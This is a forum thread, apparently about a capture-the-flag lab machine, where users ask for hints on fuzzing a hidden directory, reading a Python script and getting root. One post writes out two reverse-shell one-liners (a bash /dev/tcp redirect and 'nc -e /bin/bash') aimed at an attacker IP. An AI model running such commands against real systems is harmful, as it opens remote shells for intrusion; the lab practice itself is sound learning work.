I’m new in the hacking world and I have decide to try this machine, but I’m struggling to understand the py script or even run it, I’m not a python person, my mistake it seems.
So I have found the directory and the py script and I need help to understand it, is anyone able to help me?
Thank you
bro how you found the secre directory and py file can you help me please
I’m stuck with the dir… no way to find it. Can anyone give me a nudge?
I’ve tried all the fuzzing tools but with no luck… also manually with the same result.
So I’ve found the place in the foothold where I can manipulate input to the server to achieve command execution and I’ve written a script that can encode and then execute either system commands or instructions in parseltongue. However, I cannot figure out how to get a reverse shell or even just exfil data. The only way that I know for a fact my commands can be run by the system is by sending a “wget” and setting up a HTTP server on my box and seeing the file request go through. However, if I try to run a bash -i >& /dev/tcp/10.10.x.x/31337 0>&1 or a nc -e /bin/bash 10.10.x.x 31337
I get no reverse shell. I’ve reset the box and still no reverse shell, since I’ve seen some people try that. I feel like I’m on the right track, but could use a nudge in the right direction to actually get on the box.
Edit: Got shell, and then after some work got user. Huge thanks to @sChr0D1NGer for solving my reverse shell problems! The hint that worked for me: system commands may not be able to do what you think they can, so stick to native parseltongue.
Edit2: Aaaaand… root! I don’t know if I solved as intended, because I took advantage of my ability to read the code to capture something during execution rather than exploit execution. Could any others with root let me know if I got system as intended?
Seem to be having a problem with the initial fuzzing, don’t seem to be able to find the directory
Update, i think i have found the command that will fine the directory. But it is making no sense. Can someone message me with a nudge of that i am missing. Have ffuff running and not returning every line in the file.
I’m new in the hacking world and I have decide to try this machine, but I’m struggling to understand the py script or even run it, I’m not a python person, my mistake it seems.
So I have found the directory and the py script and I need help to understand it, is anyone able to help me?
Thank you
bro how you found the secre directory and py file can you help me please
I have used dirb with a wordlist file, that was the easiest part, at least for me.
found .py file by hand… i just read the webpage… but my python knowledge is lacking here… could somebody give me a nudge? i’m spending way to much time on this step of understanding the py file…